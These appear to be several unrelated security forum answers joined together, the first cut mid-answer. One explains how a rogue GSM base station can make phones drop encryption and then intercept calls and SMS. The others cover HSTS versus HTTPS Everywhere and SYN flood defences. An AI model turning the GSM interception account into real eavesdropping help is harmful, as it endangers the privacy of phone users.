Normally, the mobile phones would encrypt the sent data using keys that only AT&T knows, but if you tell the phones not to encrypt, they gladly oblige.

At this point, you will be acting as their basestation. You can intercept calls and SMS's. And you can of course also send SMS's to the phones associated with your basestation.

You will not be sending messages to their phone numbers, but you will sending it to their ISMI's.

More random links:

Airprobe, Monitoring Gsm Traffic With Usrp (Har 2009) - http://www.securitytube.net/video/574

Gsm Srsly (Shmoocon 2010) - http://www.securitytube.net/video/924

Gsm Security At Brucon 2010 - http://www.securitytube.net/video/1293


Why use HTTPS Everywhere when we have HSTS supported browsers? I know that the browser's default protocol to access any site is http:// when https:// is explicitly not mentioned, but even then if we browse to a website say www.facebook.com, the response header from the Facebook servers would have HSTS mentioned and our browser would direct us from http:// to https:// so why do we need another plugin to do this when browser itself does this for the user? What is the purpose of HTTPS Everywhere when our browser does it's job by default.

HSTS uses a Trust on First Use model. If your first connection to the site was already compromised, you may not receive an HSTS error on subsequent requests.

The HTTPS Everywhere plugs this hole, by letting your browser know that the site is an HTTPS only site from the first connection.

Also, some websites don't advertise an HSTS header even when they support HTTPS. Or they may have their HTTPS be in a different domain/path (e.g. http://www.example.com but https://secure.example.com), HTTPS Everywhere attempts to help with these situations by rewriting the site's URLs.


This is a classic SYN flood attack, preventive measures include

hashing syn packets, implementing syn cookies
checking if the client properly sends RST after an invalid packet sent back to him
ddos mitigation software often offer to time out specific syn packets based on advanced filtering
not storing the whole syn packet for further reference, only the IP and sequence number (also requires additional firewall/software to be installed on your part)